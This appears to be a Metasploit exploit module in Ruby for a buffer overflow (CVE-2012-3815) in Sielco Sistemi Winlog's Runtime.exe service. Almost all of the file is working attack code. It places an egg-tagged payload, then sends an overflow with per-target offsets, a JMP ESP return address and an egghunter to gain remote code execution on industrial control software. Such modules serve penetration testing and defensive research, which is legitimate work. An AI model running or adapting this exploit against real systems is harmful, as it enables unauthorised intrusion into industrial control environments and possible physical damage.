99 lines
2.8 KiB
Ruby
99 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.16',
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'Description' => %q{
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This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.16.
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When sending a specially formatted packet to the Runtime.exe service on port 46824,
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an attacker may be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Michael Messner <devnull[at]s3cur1ty.de>'
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],
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'References' =>
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[
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[ 'BID', '53811'],
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[ 'CVE', '2012-3815'],
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[ 'OSVDB', '82654'],
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[ 'EDB', '18986'],
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[ 'URL', 'http://www.s3cur1ty.de/m1adv2012-001' ],
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[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
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],
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'DefaultOptions' =>
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{
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'ExitFunction' => 'process',
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => "\x00",
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'DisableNops' => true,
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},
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'Targets' =>
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[
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[ 'Sielco Sistemi Winlog 2.07.14/2.07.16 - Ceramics Kiln Project',
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{
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'Ret' => 0x405153df,
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'Offset' => 167,
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}
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], # Jmp ESP - Vclx40.bpl - 0x405153df
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[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
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{
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'Ret' => 0x405153df,
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'Offset' => 151,
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}
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], # Jmp ESP - Vclx40.bpl - 0x405153df
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#The reliability depends on the actual project. We need to generate some more
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#targets. Two of them for the default project and one other project is now available.
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],
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'Privileged' => false,
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'DisclosureDate' => 'Jun 04 2012',
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'DefaultTarget' => 0))
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register_options([Opt::RPORT(46824)], self.class)
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end
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def exploit
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connect
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egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)
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print_status("Placing the shellcode")
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shellcode = rand_text_alpha(2000)
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shellcode << egg
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sock.put(shellcode)
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select(nil,nil,nil,1)
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buffer = rand_text_alpha(20)
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buffer << "\x14" * 10 #trigger the crash
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buffer << rand_text_alpha(target['Offset'])
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buffer << [target.ret].pack('V')
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buffer << egghunter
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buffer << rand_text_alpha(69 - egghunter.length)
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print_status("Trying target #{target.name}...")
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sock.put(buffer)
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handler
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disconnect
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end
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end
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